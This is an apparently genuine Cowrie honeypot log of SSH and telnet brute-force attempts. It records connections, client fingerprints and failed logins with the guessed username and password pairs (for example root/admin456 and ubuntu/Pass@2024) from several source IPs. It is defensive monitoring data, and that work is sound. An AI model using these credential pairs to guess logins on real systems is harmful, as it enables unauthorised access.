{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:57:29.309261Z","src_ip":"115.190.179.68","session":"e4ceb4e00ec0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"252525","message":"login attempt [ubuntu/252525] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:57:31.430537Z","src_ip":"115.190.179.68","session":"e4ceb4e00ec0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":50892,"dst_ip":"10.17.0.5","dst_port":23,"session":"eddcefc80a3e","protocol":"telnet","message":"New connection: 94.46.12.68:50892 (10.17.0.5:23) [session: eddcefc80a3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:57:32.773846Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.162.98.118","src_port":45572,"dst_ip":"159.203.135.109","dst_port":22,"session":"30360b00fbbe","protocol":"ssh","message":"New connection: 43.162.98.118:45572 (159.203.135.109:22) [session: 30360b00fbbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:57:32.797967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:57:32.815322Z","src_ip":"43.162.98.118","session":"30360b00fbbe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:57:32.918303Z","src_ip":"43.162.98.118","session":"30360b00fbbe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin456","message":"login attempt [root/admin456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:57:33.252603Z","src_ip":"43.162.98.118","session":"30360b00fbbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:57:34.182265Z","src_ip":"115.190.179.68","session":"e4ceb4e00ec0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":53712,"dst_ip":"10.17.0.5","dst_port":23,"session":"00550ed38896","protocol":"telnet","message":"New connection: 69.65.3.189:53712 (10.17.0.5:23) [session: 00550ed38896]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:57:34.379400Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:57:34.420346Z","src_ip":"43.162.98.118","session":"30360b00fbbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.503162145614624,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:58:03.276917Z","src_ip":"94.46.12.68","session":"eddcefc80a3e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"210.183.21.53","src_port":55856,"dst_ip":"10.17.0.5","dst_port":22,"session":"f01efc5c33b6","protocol":"ssh","message":"New connection: 210.183.21.53:55856 (10.17.0.5:22) [session: f01efc5c33b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:58:03.786851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:58:03.791410Z","src_ip":"210.183.21.53","session":"f01efc5c33b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:58:03.993119Z","src_ip":"210.183.21.53","session":"f01efc5c33b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Pass@2024","message":"login attempt [ubuntu/Pass@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:58:04.833662Z","src_ip":"210.183.21.53","session":"f01efc5c33b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.190.179.68","src_port":51380,"dst_ip":"159.203.135.109","dst_port":22,"session":"6adb8c70e8c0","protocol":"ssh","message":"New connection: 115.190.179.68:51380 (159.203.135.109:22) [session: 6adb8c70e8c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:58:05.580338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:58:05.585233Z","src_ip":"115.190.179.68","session":"6adb8c70e8c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"105.172.105.4","src_port":56253,"dst_ip":"159.203.135.109","dst_port":23,"session":"d96a4fe44070","protocol":"telnet","message":"New connection: 105.172.105.4:56253 (159.203.135.109:23) [session: d96a4fe44070]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:58:06.003670Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:58:06.037724Z","src_ip":"210.183.21.53","session":"f01efc5c33b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:58:07.206601Z","src_ip":"115.190.179.68","session":"6adb8c70e8c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.79.42.117","src_port":51308,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e788ec3ca94","protocol":"ssh","message":"New connection: 72.79.42.117:51308 (159.203.135.109:22) [session: 3e788ec3ca94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:58:08.189561Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:58:08.194098Z","src_ip":"72.79.42.117","session":"3e788ec3ca94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:58:08.203037Z","src_ip":"72.79.42.117","session":"3e788ec3ca94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"testing12345","message":"login attempt [root/testing12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:58:08.270340Z","src_ip":"72.79.42.117","session":"3e788ec3ca94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"adminuser","message":"login attempt [adminuser/adminuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:58:08.448454Z","src_ip":"115.190.179.68","session":"6adb8c70e8c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:58:09.280534Z","src_ip":"72.79.42.117","session":"3e788ec3ca94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:58:10.615474Z","src_ip":"115.190.179.68","session":"6adb8c70e8c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.39793825149536,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:58:11.777035Z","src_ip":"69.65.3.189","session":"00550ed38896","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":58366,"dst_ip":"10.17.0.5","dst_port":23,"session":"07fc0c95fb5a","protocol":"telnet","message":"New connection: 94.46.12.68:58366 (10.17.0.5:23) [session: 07fc0c95fb5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:58:20.979442Z"}
{"eventid":"cowrie.session.connect","src_ip":"115.190.179.68","src_port":32798,"dst_ip":"159.203.135.109","dst_port":22,"session":"26594d647e1d","protocol":"ssh","message":"New connection: 115.190.179.68:32798 (159.203.135.109:22) [session: 26594d647e1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:58:43.878304Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:58:43.884717Z","src_ip":"115.190.179.68","session":"26594d647e1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:58:44.106796Z","src_ip":"115.190.179.68","session":"26594d647e1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa123123","message":"login attempt [ubuntu/Aa123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:58:47.300878Z","src_ip":"115.190.179.68","session":"26594d647e1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:58:48.525361Z","src_ip":"115.190.179.68","session":"26594d647e1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.38469910621643,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:58:52.364004Z","src_ip":"94.46.12.68","session":"07fc0c95fb5a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"72.79.42.117","src_port":59330,"dst_ip":"159.203.135.109","dst_port":22,"session":"1389299fbf84","protocol":"ssh","message":"New connection: 72.79.42.117:59330 (159.203.135.109:22) [session: 1389299fbf84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:58:54.870630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:58:54.875694Z","src_ip":"72.79.42.117","session":"1389299fbf84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:58:54.887514Z","src_ip":"72.79.42.117","session":"1389299fbf84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"sunshine","message":"login attempt [guest/sunshine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:58:54.946434Z","src_ip":"72.79.42.117","session":"1389299fbf84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:58:55.955465Z","src_ip":"72.79.42.117","session":"1389299fbf84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.183.21.53","src_port":44612,"dst_ip":"10.17.0.5","dst_port":22,"session":"77766e3e0c79","protocol":"ssh","message":"New connection: 210.183.21.53:44612 (10.17.0.5:22) [session: 77766e3e0c79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:59:02.211114Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:59:02.216014Z","src_ip":"210.183.21.53","session":"77766e3e0c79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:59:02.416061Z","src_ip":"210.183.21.53","session":"77766e3e0c79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"2222","message":"login attempt [test/2222] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:59:03.241216Z","src_ip":"210.183.21.53","session":"77766e3e0c79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:59:04.442789Z","src_ip":"210.183.21.53","session":"77766e3e0c79","protocol":"ssh"}
